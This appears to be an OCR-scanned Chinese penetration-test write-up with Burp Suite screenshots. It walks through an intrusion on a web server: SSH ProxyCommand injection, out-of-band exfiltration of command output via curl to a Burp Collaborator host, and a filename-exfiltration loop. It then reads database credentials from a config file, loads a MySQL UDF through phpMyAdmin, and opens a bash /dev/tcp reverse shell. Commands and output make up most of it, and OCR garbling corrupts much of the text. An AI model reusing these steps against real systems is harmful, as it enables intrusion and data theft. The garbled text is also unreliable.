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ping “whoami’ .8bc2mzlr48ghfo78k8yhn5kunltbh®.burpcollaborator.net

Request

Re® Parems Headers Hex

POST / HTTP/ .1 A
Host: m. = » Em e

Aoccept-Encoding: gzip, deflate

Accept: ®/%

Accept-Language: en

User-Agent: Mozillas5. 0 (compatible; MSIE 2.0; Windows NT &.1; Winbdd, xb4; Tridents/5. Q)

Connection: close

Content=Type: application/x=www=form-urlencoded

Content=Length: 353

hostname=x+=oP roxyCommand S 3dS 850 38685 6FR09% 6 384 TR0 755 5a% T9R4 25 6 TRO45 3 20BN TOS59R5 TH 31 ST 0455954
3':| 35‘:?2‘|Ea‘|6a‘|4c‘|63‘|61 ':l?a':l-d-c':l ?a':l{'.:l 2‘.4 ?‘|55‘|?3‘|51 ‘Iéctléitlgétléztlggtlé :l':l ?‘;"|5a‘|5 ?:|31 |:l ?3‘|55tléa‘|45‘|éd‘|4¢‘|
RSN AT RSN S TR 35N 6an PN ba N S T R ST R be RS AN T RO AN TR de S T AR 6 254 TR TBR OB 5N Ad N IFNTIREFREB5525T 6543
R69%35575%5a%58%5153d | basebd4%09=d | sh) Eusername=admi npassword=admin
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curl http://ip.port.ebc2mzlr48ghfo70k8yhnSkunltbh®.burpcollaborator.net/ whoami”

POST / HTTP/1.1
Host: loaae e
Accept-Encoding: gzip, deflate

Accept: /¥

Poll Collaborator interactions

Foll every |60 ssconds Foll now
Accept-Language: en

User-Agent: Mozilla/5. 0 i(compatible; MSIE 2.0; Windows NT &.1; Winb4; x64; Trident/5. Q)
Connection: close

Parload
Obc2mz1r48ghfoT0kEyhnBkunl. . .
ObeZmz1r48ghfoT0kSyhnbkunl
Obe2mzlr4BghfoTll
Obc2mzlr48sghfcTll
Obc2mz1r48ghicTll
Obc2mzlr48ghicTll .
3 Obc2mz1xr4BghfoT0kEvhabkunl. . .
2020-/\F-06 07:21:03... [DN: Obc2mz1r48shfoT0kEvhnBkunl. . .

Content-Type: application/x=www=form-urlencoded
Content-Length: 413

hostname=x+-oProxyCommand’ 3d46554 35684 6FA095 595335585 7956254 354256 FLE454855 25775 4FR695385 7656155
B4 157556354 7539575645435 3457 75595 6d54d N TIR62 4585705 73063562551 5345525 3256856456257 a %6357 7%
768535561 547434531 561 5 33H565 7562548552469 %61 544541 575459500 55697996 3547444764 6254747568559
RO IP N TP SNBSS 2N T 6N035 095354755520 5B55 1 4765505485 64%6 56253254645 T45615574541%3d | baseddh09-d| s
nl dusername=adminépassword=admin
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Description Request to Cellsborator from Coll ator

Rs% Headers Hex

GET ITTP,-1_1

Host: Tp. port. Obelmz|rd8ghfoTkByhnSkun|tbhd. burpeal |aborator. net
User=Agent: curl/7.52.1

C1 NP | 3 e —— 0 mat Accent: */%

T, MR T H P A, IR AZroot B/RIK . EFE B
MATH AR, Rl THRIERS.

curl http://ip.port.ebc2mzlr48ghfo70k8yhnSkunltbh®.burpcollaborator.net/ pwd”

P
= ime pe Parload Comment
4 2020~ BE-08 07:19:37... |DN3 ObcZmzlr4B8ghfo70kBvhnikunl. |
5 2020~/ BE-08 07:18:37... |DN3 ObcZ2mzlr4B8ghfo70kBvhnbkunl. .
& 2020~/ E-08 07:19:28... |DNS ObcZmzlr4B8ghfo70kEvhnbkunl. .
7 2020~ BE-08 07:21:068. .. |HITF Obcl2mzlr4dBeghfo70kByhnblunl. .
8 2020-0.B-08 07:21:03... |DNS Obclmzlr4dBeghfo70kByhnblunl. .
G 2020~/ B-08 07:33:56... |DNS Obclmzlr4Bghfo70LkBvhnbkunl. .
10 |[2020-)\F-06 07:33:5B... [HTTF ObcZmzlrd4Bghfo70kEvhnblkunl. .
11 |2020-)\B-06 07:33:56... |[DNB Obc2mzlr4Bghfo70kBvhnbkunl. .

Description Reauest to Collshorstor Respeonze from Collsborator

Rs® Hesders Hex

GET| //var www/ htm| HTTP 1.1

Host: 1p. port. OocZmz | r48ghfod?0kEyhnSkun | tbhd, burpcol laborator. net
User-Agent: curl/7.52.1

Accept: ®/¥

ERRIBREAEL, JFHETUHEARITNASE N inux RS, L TE
MEEEXNAMHX TR, EEARARE .

curl http://ip.port.ebc2mzlr48ghfo7@k8yhn5kunltbhe.burpcollaborator.net/ 1s”




Py
= Time Tvpe Favload Comment

12 |2020-)\F-06 07:49:42 . |DNs Ubc2mz1r48ghfoi0kivhnSkunl. . .
13 |2020-)F-08 07:49:42 __ |DKS Jbc2mz1r48ghfoilkivhnikunl. . .
14 |2020-)F-06 07:49:41. .. |DNS Ubc2mz1r48ghfoilkivhnikunl. . .
15 |2020-)F-06 07:49:43. .. |DNS lbc2mz1r48ghfoilkivhnikunl. . .
16 |2020-)\F-06 07:49:42. .. |DNS lbc2mz1r48ghfoilkivhnikunl. . .
17 |2020-)F-06 07:45:43... |DNS lbc2mz1r48ghfoi0kiyhnikunl. . .
18 |2020-/)\F-06 07:45:44 .. HITF Obc?mzlr4Bghfof0kByhnbkunl. . .
19 |2020-/\F-06 07:49:42. .. |ONS ObclZmzlr48ghfoi0kEyhnikunl. . .

Description Request to Collaborator | Response from Collaborator
Ra® Hesders Hex

oo

User=-Agent: curl/7.29.0

Host: ip. port. Obc2mz| r4BeghfoFlkByhnSkun|tbhl, burpcol |l aborator. net
Acocept: ®/%

JRAUNSHRZ XM, BEERTIFREIRRAE -FEE, INEA
MRH, EREZR, REBSAEANZA, vebHX T E A SR
HfE 4 adminH % ?

T, WABTIHERNEMHE, XEXECHRE THHXETH
KA AR, RB, BEGRAAG 5, EY T a5 2 77 .
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NSlogHiﬁI?E k. WEEA W, RIFiEWN AL H Tbase64 9
W, SRIGEHITHE . R, IERAC RS &7 %R,

curl http://ip.port.ebc2mzlr48ghfo70k8yhnSkunltbhe.burpcollaborator.net/" 1s|base64’

? | Generate Collaborator payloads

Kumber to generate: |1 Copy to clipboard Include Collabeorator server location

FPoll Collaborator interactions

Foll every |60 seconds | Foll now

= E Converted text X =
= Time Type Farlosd

18 [2020-/\F5-08 07:49:44. .. [HTTP |0bc2mz1r4Bghfo70kvhnSkunl. . . s ~
15 [2020-/\F-06 07:48:42 .. |pNs |obe2mz1r48ghzoT Slunl. TR ED HEETET Bl
20 [2020-/\5-06 08:02:20... [KTTF ObcZumzlr4Bghfol Skunl. ...
21 |7020-/\F-06 08:02:18 __ DN DbcZmzlraAshfoT0kivhnikunl. ‘,a:"; - o "
22 [2020-/\F-06 0B:02:16. . |DN§ DbcZme1r4BghfoT0kByhnikunl :mﬂ‘r‘ wt'““" ros. rem
23 [2020-/\5-06 08:02:18... |DNs ObcZmz1r4Bshfo70kSvhnskunl. ~orver key
24 [2020-/\5-06 08:02:19... |DNs ObcZmz1r4Bshfo70kSvhnskunl. . alh
25 [2020-/5-06 08:02:18 _ |oNs Ubc2mz1r48ght o7 Dkdrhn5kunl ol M
Description Request to Collsborstor Response from Collaborator 2] =2 0 matches

Ra¥ Hesders Hex

GET [NS50HOKanRr LTh 1M j0xLWxpbnVALXg2NC5y cGOKo2VydnVyLmi | crOK=2VydmlyLmt | sp2diixa | HTTE/ 1. 1 Py
User-Agent: cur|/7.29.0

Host: ip port.ObeZmz | r48ghfolDkByhnSkun | tbhD burpcal | sbarator. net

Accept: #/%
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for i in $(1s);

do curl "http://$i.ip.port.ebc2mzlr48ghfo70k8yhn5kunltbhe.burpcollaborator.net/";
done;




Generate Collaborator payloads

Number to generate: |1 Copy to clipboard Include Collaborator server location

Poll Collaborator interactions

Poll every |60 seconds Poll now

=y

# Time Type Farleoad Comment
T8 |2020-)\FE-08 0B:40:35 HITE ObelmzlrdBghfoT0kBvhnbkunl. . .
T8 |2020-0.E-06 08:41:31... |HITF ObelmzlrdBeghfo70kBvhnbkunl. . .
B0 |2020-)\B-06 08:40:44 . |HITF ObelmzlrdBeghfo70kBvhnbkunl. . .
81 |2020-/.B-06 08:40:42 . |HITF Obe2mzlrdBghfo70kBvhnbkunl. . .
82 |2020-)\.B-06 08:40:43. .. |DNs ObelmzlrdBeghfo70kBvhnbkunl. . .
83 |2020-.E-06 08:41:32 HITF Obc2mzlrdBghfo70kBvhnokunl. . .
B4 |2020-)\B-06 08:40:37. HITF Obc2mzlr48ghfo70kBvhnikunl. . .
85 |2020-)\.F-06 08:40:38. HITF Obc2mzlr48ghfo70kBvhnokunl. . .
B8 (20200 EB-06 08:41:34 HITE ObelmzlrdBghfoT0kBvhnbkunl. . .
87 |2020-).E-06 08:40:41. .. |HITF ObelmzlrdBeghfo70kBvhnbkunl. . .
88 |2020-).E-06 08:41:35%. .. |HITF ObelmzlrdBeghfo70kBvhnbkunl. . .
B |2020-).B-06 0B:41:40. .. |DNs Obe2mzlrdBghfo70kBvhnbkunl. . .
80 |2020-0.E-06 08:41:48. .. |HITF ObelmzlrdBeghfo70kBvhnbkunl. . .
91 |2020-)\F-06 08:41:45 HITF Obc2mzlrdBghfo70kBvhnokunl. . .
g2 2020~/ E-06 08:41:42 HITF ObeZmzlr48ghfoT0kBvhnokunl. . .

Description Request te Collaborater | Response from Collaborator

Ra¥ Headers Hex

GET Asimple HTTPA1.1

User-Agent: curl /7. 29.0

Host: ip.port. Obc2mz|r48ghfol?0k8yhnSkunltbhl. burpcol laborator. net
Accept: ®/W

K= T KEMhttpid RKid %, B FBurp Collaborator
clientJREMR AL HREBH I FHER, WX — % — %00 B 2
B aomm. b, RitrMEBESHE —Thttpk %, HRIKEE
i o

RS2 Ehttp
python -m SimpleHTTPServer 8000 >> data.txt

BirEHATTHpayload :

for 1 in $(1s);

do curl "119.45.L:% . Ir_/$i";
done;




[root@M © 17 centos ~]# python -m SimpleHTTPServer 8000

-erulng HTTP on 8.0.0.0 1581
[E g/ 3 1, 15] code 404, message File not found
[E sf A3 13 o "GET /fadmin HTTP/1.1" 404 -
[E I a3 1, H: code 404, message File not found
(D6, AL 3 13 :05] "GET fagreement|HTTP/1.1" 404 -
(06, AL 0 15 :05] code 404 message File not found
(06, AL 5 15 :05] "GET|/company HTTP/1.1" 484 -
(06, AL i :06] code 4U4 message File not found
[E L 0 17 6] "GET |/data HTTP/1.1" 404 -
[E 1Ly 3 1, 6] code 404, message File not found
[06/ Au 9 17 6] “GET Vexplain HTTP/1.1" 404 -
[E g/ a3 1, 6] code 404, message File not found
[E uay A 13 :06] "GET /fTavicon.lco HTTP/1.1" 404 -
(g I O 13 6] code 4 ssage File not found
[E i 0 17 6] "GET 'help HTTP/1.1" 404 -
[E I A 1, 6] code 404, message File not found
(8 I 0 17 8] "GET /fhrtoo HTTR/1.1" 404 -
[06/8ug/2020 17:28:06] code 404, message File not found
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robots.txt
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user
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"localhost”;
sdbname

11 [:BS 11 J'
sdbuser

"root";
sdbpass

"ismyeaghua”;
spre

:q d ";
$0S _cookiedomain

"~ b=, aCC?DnA-B8";
define('CO0_CHARSET', 'gh2312');

define('CO0 DBCHARSET', 'GBK');

G BN B, KI M phpmyadmin, M i&d T &A KD %G,
DUAE ) O o, BT & e, IRECEIH P HdE .

php T BESE: localhost
! BB saL s mA : - e — -

h 2 via
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mysql

Joll i dr & B Wmy s q L4 1F 1 B4

BE9 SQLIEHEMIET.

+ I
Variable_name Value

default_authentication_plugin mysgl_native_password
plugin_dir Susrflibed/mysal/plugin/

WA phpmyadmin®g WA R 7~, %IE Tmysql lRA NS, 7, AHATFH E
H— L B M secure file prividdFHHE, EXNEE, BENT
CAENULL) , Xt e, AR 4a Nl o 5o EHAT S NS H#
E
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B8 SQL BEEMINET.

show varisbles like " $securel

[ et

+ I

Variable_name Value

require_secure_transport OFF

secure auth OMN

Isecu re_file_priv I

o 3 PR E BN — A DB R

WE A, HREA Nmysqludf. so, $U4T,
KBEH NI

i G EESEE: localhost

[ BgEeE | L) saL | (G, ®F

= AR S S B 8A b) &=
STRERIE

s rE Il sa

FHE | (g 5IE

« MySQLEORIERER = E1FT). (EFwES 0.0071 1. )

select

unhex('7F454C4602010100000000000000000003003E0001000000800A00000000000040000000000000005818000000000000000000004000380C

([ #eREsifT [ 538 ] [ BISF

WL EH NI, Q& —Asys evalWIhae, ATHATRG @4

STERE

« MySQLERIRERESR A= FIFT). (EiFE 0.0092#, )

[ Edit inline 11 45E
2R T whoamiay 4, WIHFAT, BLASCITMIZ S mysql IR .
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[ #8843 [ Edit inline ] [ &35 ] [ #2477 SQL 1 [ 812 PHP LB ] [ RIET]

0 B72s | T3 25~ HEET: | £

sys_eval('whoami')

HPH 6d7973716¢0a

@ Text (JHex |72
Decode as ... ~
Encode as ... ~
Hash ... i
Smart decode
@ Text OHex
Nerndes as ar

BESR AT DL AT 44, IEZEIE, &2 shell, AHER, XKget
shell %3,

RS "localhost” iETT SQL &Eifl: @

map.org/ncat )

select sys_eval (" bash —1 3 Adev/top/119. 45 . " 81 /56E5 D41 : Li tE‘-I’Iil'Ig on @ 5555
bH nnection from 1
nnection from 1
ell i
hoami
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